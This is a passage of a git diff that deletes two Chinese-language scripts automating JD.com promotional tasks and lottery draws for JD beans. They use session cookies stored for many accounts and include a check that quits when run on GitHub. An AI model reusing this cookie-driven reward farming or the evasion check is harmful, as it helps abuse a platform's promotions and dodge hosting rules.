? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/activity/jd_xg.js b/activity/jd_xg.js deleted file mode 100644 index 1ce21c9..0000000 --- a/activity/jd_xg.js +++ /dev/null @@ -1,296 +0,0 @@ -/* -小鸽有礼 -抽奖可获得京豆和快递优惠券 -活动时间:2021年1月15日至2021年2月19日 -更新地址:jd_xg.js -活动入口:https://snsdesign.jd.com/babelDiy/Zeus/4N5phvUAqZsGWBNGVJWmufXoBzpt/index.html?channel=lingsns003&scope=0&sceneid=9001&btnTips=&hideApp=0 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#小鸽有礼 -5 7 * * * jd_xg.js, tag=小鸽有礼, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_xg.jpg, enabled=true - -================Loon============== -[Script] -cron "5 7 * * *" script-path=jd_xg.js,tag=小鸽有礼 - -===============Surge================= -小鸽有礼 = type=cron,cronexp="5 7 * * *",wake-system=1,timeout=200,script-path=jd_xg.js - -============小火箭========= -小鸽有礼 = type=cron,script-path=jd_xg.js, cronexpr="5 7 * * *", timeout=200, enable=true - */ -const $ = new Env('小鸽有礼'); -const notify = $.isNode() ? require('../sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; - if(JSON.stringify(process.env).indexOf('GITHUB')>-1) process.exit(0) -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.beans = 0 - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdXg() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdXg() { - await getInfo() - await getUserInfo() - while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { - await draw() - await getUserInfo() - await $.wait(500) - } - await showMsg(); -} - -function showMsg() { - return new Promise(resolve => { - message += `本次运行获得${$.beans}京豆` - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - resolve() - }) -} - -function getInfo() { - return new Promise(resolve => { - $.get({ - url: 'https://snsdesign.jd.com/babelDiy/Zeus/4N5phvUAqZsGWBNGVJWmufXoBzpt/index.html?channel=lingsns003&scope=0&sceneid=9001&btnTips=&hideApp=0', - headers: { - Cookie: cookie - } - }, (err, resp, data) => { - try { - $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) - $.prize = JSON.parse($.info.prize) - resolve() - } catch (e) { - console.log(e) - } - }) - }) -} - -function getUserInfo() { - return new Promise(resolve => { - $.get(taskUrl('query'), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data - // console.log(`您的好友助力码为${$.userInfo.shareid}`) - console.log(`当前幸运值:${$.userInfo.bless}`) - for (let task of $.info.config.tasks) { - if (!$.userInfo.complete_task_list.includes(task['_id'])) { - console.log(`去做任务${task['_id']}`) - await doTask(task['_id']) - await $.wait(500) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function doTask(taskId) { - let body = `task_bless=10&taskid=${taskId}` - return new Promise(resolve => { - $.get(taskUrl('completeTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.match(/query\((.*)\n/)[1]) - if (data.data.complete_task_list.includes(taskId)) { - console.log(`任务完成成功,当前幸运值${data.data.curbless}`) - $.userInfo.bless = data.data.curbless - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function draw() { - return new Promise(resolve => { - $.get(taskUrl('draw'), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.match(/query\((.*)\n/)[1]) - if (data.data.drawflag) { - if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { - console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) - if($.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum) - $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function taskUrl(function_id, body = '') { - body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` - return { - url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, - headers: { - 'Host': 'wq.jd.com', - 'Accept': 'application/json', - 'Accept-Language': 'zh-cn', - 'Content-Type': 'application/json;charset=utf-8', - 'Origin': 'wq.jd.com', - 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, - 'Cookie': cookie - } - } -} - -function taskPostUrl(function_id, body) { - return { - url: `https://lzdz-isv.isvjcloud.com/${function_id}`, - body: body, - headers: { - 'Host': 'lzdz-isv.isvjcloud.com', - 'Accept': 'application/json', - 'Accept-Language': 'zh-cn', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Origin': 'https://lzdz-isv.isvjcloud.com', - 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, - 'Cookie': `${cookie} isvToken=${$.isvToken};` - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_xgyl.js b/activity/jd_xgyl.js deleted file mode 100644 index 3a40e20..0000000 --- a/activity/jd_xgyl.js +++ /dev/null @@ -1,343 +0,0 @@ -/* -小鸽有礼2 -每天抽奖25豆 -活动入口:https://jingcai-h5.jd.com/#/dialTemplate?activityCode=1354648125121241088 -活动时间:2021年1月28日~2021年2月28日 -更新地址:jd_xgyl.js - -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#小鸽有礼2 -30 7 * * * jd_xgyl.js, tag=小鸽有礼2, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_xgyl.png, enabled=true - -================Loon============== -[Script] -cron "30 7 * * *" script-path=jd_xgyl.js, tag=小鸽有礼2 - -===============Surge================= -小鸽有礼2 = type=cron,cronexp="30 7 * * *",wake-system=1,timeout=3600,script-path=jd_xgyl.js - -============小火箭========= -小鸽有礼2 = type=cron,script-path=jd_xgyl.js, cronexpr="30 7 * * *", timeout=3600, enable=true - */ -const $ = new Env('小鸽有礼2'); - -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await xgyl(); - await showMsg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function showMsg() { - message += `本次运行获得${$.beans}京豆` - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - -async function xgyl() { - $.draw = 0 - $.beans = 0 - for (let i = 0; i < 20; ++i) { - await getMissionList() - await $.wait(1000) - } - await getActInfo() - while ($.draw--) { - await draw() - await $.wait(1000) - } -} - -function getActInfo() { - return new Promise(resolve => { - $.post(taskUrl('luckdraw/queryActivityBaseInfo'), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(resp) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.success) { - $.rewardList = 